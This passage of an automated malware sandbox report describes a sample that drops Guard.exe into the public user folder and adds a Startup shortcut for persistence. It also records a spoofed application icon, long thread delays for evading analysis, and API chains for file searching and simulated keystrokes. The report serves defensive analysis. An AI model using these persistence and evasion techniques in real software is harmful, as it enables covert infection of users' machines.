Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\Public\Guard.exeJump to dropped file

Boot Survival

barindex
Drops PE files to the user root directory
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\Public\Guard.exeJump to dropped file
Source: C:\Windows\SysWOW64\cmd.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.urlJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.urlJump to behavior

Hooking and other Techniques for Hiding and Protection

barindex
Icon mismatch, binary includes an icon from a different legit application in order to fool users
Source: initial sampleIcon embedded in binary file: icon matches a legit application icon: download (132).png
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DB54514 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,0_2_00007FF69DB54514
Source: C:\Users\Public\Guard.exeCode function: 6_2_001B59B3 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,6_2_001B59B3
Source: C:\Users\Public\Guard.exeCode function: 6_2_00145EDA GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,6_2_00145EDA
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 13_2_009459B3 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,13_2_009459B3
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 13_2_008D5EDA GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,13_2_008D5EDA
Source: C:\Users\Public\Guard.exeCode function: 6_2_001533B7 EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,6_2_001533B7
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\Public\Guard.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\Public\Guard.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\Public\Guard.exeProcess information set: FAILCRITICALERRORS | NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifProcess information set: FAILCRITICALERRORS | NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\wscript.exeWindow found: window name: WSH-TimerJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4580Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 5300Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 6491Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3275Jump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifEvasive API call chain: GetSystemTimeAsFileTime,DecisionNodes
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeAPI coverage: 3.9 %
Source: C:\Users\Public\Guard.exeAPI coverage: 6.5 %
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifAPI coverage: 4.9 %
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1852Thread sleep time: -10145709240540247s >= -30000sJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1516Thread sleep time: -922337203685477s >= -30000sJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1796Thread sleep count: 6491 > 30Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1796Thread sleep count: 3275 > 30Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2452Thread sleep time: -17524406870024063s >= -30000sJump to behavior
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DBAC7C0 lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,0_2_00007FF69DBAC7C0
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DBABC70 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,0_2_00007FF69DBABC70
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DBAB7C0 FindFirstFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,0_2_00007FF69DBAB7C0
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DBB72A8 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,0_2_00007FF69DBB72A8
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DBB71F4 FindFirstFileW,FindClose,0_2_00007FF69DBB71F4
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DB72F50 FindFirstFileExW,0_2_00007FF69DB72F50
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DBBA874 FindFirstFileW,Sleep,FindNextFileW,FindClose,0_2_00007FF69DBBA874
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DBBA4F8 FindFirstFileW,FindNextFileW,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,0_2_00007FF69DBBA4F8
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DBB6428 FindFirstFileW,FindNextFileW,FindClose,0_2_00007FF69DBB6428
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DBBA350 FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,0_2_00007FF69DBBA350
Source: C:\Users\Public\Guard.exeCode function: 6_2_00194005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,6_2_00194005
Source: C:\Users\Public\Guard.exeCode function: 6_2_0019494A GetFileAttributesW,FindFirstFileW,FindClose,6_2_0019494A
Source: C:\Users\Public\Guard.exeCode function: 6_2_0019C2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,6_2_0019C2FF
Source: C:\Users\Public\Guard.exeCode function: 6_2_0019CD14 FindFirstFileW,FindClose,6_2_0019CD14
Source: C:\Users\Public\Guard.exeCode function: 6_2_0019CD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,6_2_0019CD9F
Source: C:\Users\Public\Guard.exeCode function: 6_2_0019F5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,6_2_0019F5D8
Source: C:\Users\Public\Guard.exeCode function: 6_2_0019F735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,6_2_0019F735
Source: C:\Users\Public\Guard.exeCode function: 6_2_0019FA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,6_2_0019FA36
